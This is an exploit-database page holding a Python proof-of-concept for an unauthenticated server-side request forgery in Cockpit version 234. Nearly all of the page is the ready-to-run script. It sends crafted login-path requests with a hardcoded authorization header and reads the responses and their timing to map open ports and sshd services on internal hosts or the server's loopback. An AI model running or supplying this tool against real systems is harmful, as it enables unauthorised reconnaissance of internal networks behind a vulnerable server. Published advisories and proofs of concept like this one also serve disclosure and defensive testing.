Cockpit 234 Server-Side Request Forgery

2021.01.08
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: Cockpit Version 234 - Server-Side Request Forgery (Unauthenticated) # Date: 08.01.2021 # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: https://cockpit-project.org/ # Version: v234 # Tested on: Ubuntu 18.04 #!/usr/bin/python3 import argparse import requests import sys import urllib3 import time from colorama import Fore, Style from argparse import ArgumentParser, Namespace from bs4 import BeautifulSoup """ Example scanning for internal server: python3 PoC.py --target 192.168.1.33:9090 --scan 172.16.16.16 --ports 21,22,23 Example scanning for loopback interface of server: python3 PoC.py --target 192.168.1.33:9090 Description : https://github.com/passtheticket/vulnerability-research/tree/main/cockpitProject/README.md """ def main(): dsc = "Cockpit Version 234 - sshd Service Scanning via Server-Side Request Forgery (Unauthenticated)" parser: ArgumentParser = argparse.ArgumentParser(description=dsc) parser.add_argument("--target", help="IP address of Cockpit server", type=str, required=True) parser.add_argument("--scan", help="IP address of server that will be scanned", type=str, required=False) parser.add_argument("--ports", help="Ports (example: 21,22)", type=str, required=False) args: Namespace = parser.parse_args() if args.target: target = args.target if args.scan: scan = args.scan if args.ports: ports = args.ports else: ports = "22" else: scan = "127.0.0.1" if args.ports: ports = args.ports else: ports = "22" cockpitReq(target, scan, ports) def cockpitReq(target, scan, ports): urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) portRange = ports.split(",") for unsafe in portRange: headers = { "Host": str(target), "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Authorization": "Basic dW5zYWZlOmlubGluZQ==", "X-Authorize": "", "Connection": "close", "Cookie": "cockpit=deleted", } req = requests.get("http://" + target + "/cockpit+=" + scan + ":" + unsafe + "/login", headers, verify=False) time.sleep(2) soup = BeautifulSoup(req.text, 'html.parser') responseCode = req.status_code responseTime = str(req.elapsed) if responseCode == 404: print("Cockpit server was not found!") elif responseCode == 401: if soup.title.string == "Authentication failed": print(Fore.GREEN + Style.BRIGHT + "[+] Port: "+ unsafe + " sshd service is detected!") elif soup.title.string == "Authentication failed: no-host": if responseTime > "0:00:10.000000": print(Fore.GREEN + Style.BRIGHT +"[-] Port: "+ unsafe + " is open, sshd service is not detected!") else: print(Fore.RED + Style.BRIGHT +"[-] Port: "+ unsafe + " sshd service is not detected!") else: print(Fore.RED + Style.BRIGHT +"[-] Error is occured!") print("[-] One bad day!") sys.exit(1) else: print("Something went wrong!") main()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top